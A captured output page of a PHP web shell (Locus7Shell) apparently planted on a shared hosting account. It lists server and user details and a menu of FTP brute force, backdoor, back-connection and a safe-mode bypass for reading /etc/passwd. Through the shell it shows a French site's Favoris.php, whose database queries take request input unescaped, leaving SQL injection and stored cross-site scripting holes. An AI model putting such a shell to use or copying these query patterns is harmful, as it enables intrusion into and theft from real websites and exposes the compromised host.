Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Favoris.php (3.62 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style type="text/css">
<!--
body {
    margin-right: 0px;
    margin-bottom: 0px;
}
body,td,th {
    color: #FFFFFF;
}
-->
</style>
</head>
<body>
<p class="Style3">FAVORIS</p>
<?php
include ("connect.php");
$get mysql_query("SELECT * FROM presentation WHERE ID='6'");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$texte $row['TEXTE'];

if (isset(
$_SESSION['identifiant']))
           {
           
            if (isset(
$_GET['valider']))
              {
              
$text2 $_POST['text2'];
              
$num '6';
              
$query mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'");
              echo 
$text2;
              }
              else
              {echo 
'<table><form action="index.php?page=Favoris&valider=1" method="POST" enctype="multipart/form-data"><td><tr>
           <textarea name="text2" cols="80" rows="4">'
.$texte.'</textarea></tr>
           
                    <tr><input type="submit" name="sup2" value="Enregistrer"></tr></td>
                    </form></table>'
;
                    }
           
           
           
           }
           else
           {
           echo 
"<p class='Style2'>$texte</p>";
           }
         
     }
     
?>
<table><td><tr></tr><tr><div align="right">

<?php
include ("connect.php");
if (isset(
$_SESSION['identifiant']))
           {
        if (isset(
$_GET['ajout1']))
                    {
                    echo
" <form action='index.php?page=Favoris&add1=1' method='POST' enctype='multipart/form-data'>
                    <table><td><tr>Titre: <input name='titre' type='text' value='' maxlength='70' /></tr>
                    <tr>Lien: <input name='lien' type='text' value='' maxlength='70' /></tr>
                    <tr>Descriptif: <textarea name='descriptif' cols='60' rows='4'></textarea><td>
                    <td><input type='submit' name='sup' value='Ajouter'></td></tr></table>
                    </form>"
;
                    }
                    else
                    {
                    if (isset(
$_GET['add1']))
                    {
                    
$titre $_POST['titre'];
                    
$lien $_POST['lien'];
                    
$descri $_POST['descriptif'];
                    
$query mysql_query("INSERT INTO favoris VALUES ('','$titre','$lien','$descri')");
                    echo 
"Ajout réussi
                    <META HTTP-EQUIV='Refresh' CONTENT='0;URL=index.php?page=Favoris'>"
;
                    }
                    else
                    {
                    echo
" <form action='index.php?page=Favoris&ajout1=1' method='POST' enctype='multipart/form-data'>
                    <input type='submit' name='sup2' value='Ajouter un Favoris'>
                    </form>"
;
                    }
                    }        
            }
            
    
?>

</div></tr></td></table>
<table width="600" border="0" cellpadding="0" cellspacing="0">
<?php

if (isset($_GET['supprimer']))
    {
    
// récupération des donnée en POST
    
$id $_GET['id'];
    
$query mysql_query("DELETE FROM favoris WHERE ID='$id'");
    }


$get mysql_query("SELECT * FROM favoris ORDER BY ID ASC");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$id $row['ID'];
    
$title $row['TITRE'];
    
$lien $row['LIEN'];
    
$description $row['DESCRIPTIF'];

     echo 
"
       <tr background='image/fond70.png'>
    <td><span class='Style2'><a href='
$lien'>$title</a></span></td>
  </tr>
  <tr background='image/fond70.png'>
    <td background='image/fond70.png'><span class='Style4'>
$description</span></td>
"
;
    
      if (isset(
$_SESSION['identifiant']))
           {
  echo 
"<td><form action='index.php?page=Favoris&id=".$id."&supprimer=1' method='POST' enctype='multipart/form-data'>
           <input type='submit' name='sup' value='Supprimer'></form>"
;
           }
    echo 
"       
    </td>
    </tr>
  <tr>
    <td><img src='image/transparent.png' width='600' height='10' /></td></tr>
  "
;

            
     }

echo 
"</table>
        </p>"
;
        
        
?>

<p class="Style1">&nbsp;</p>
</body>
</html>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--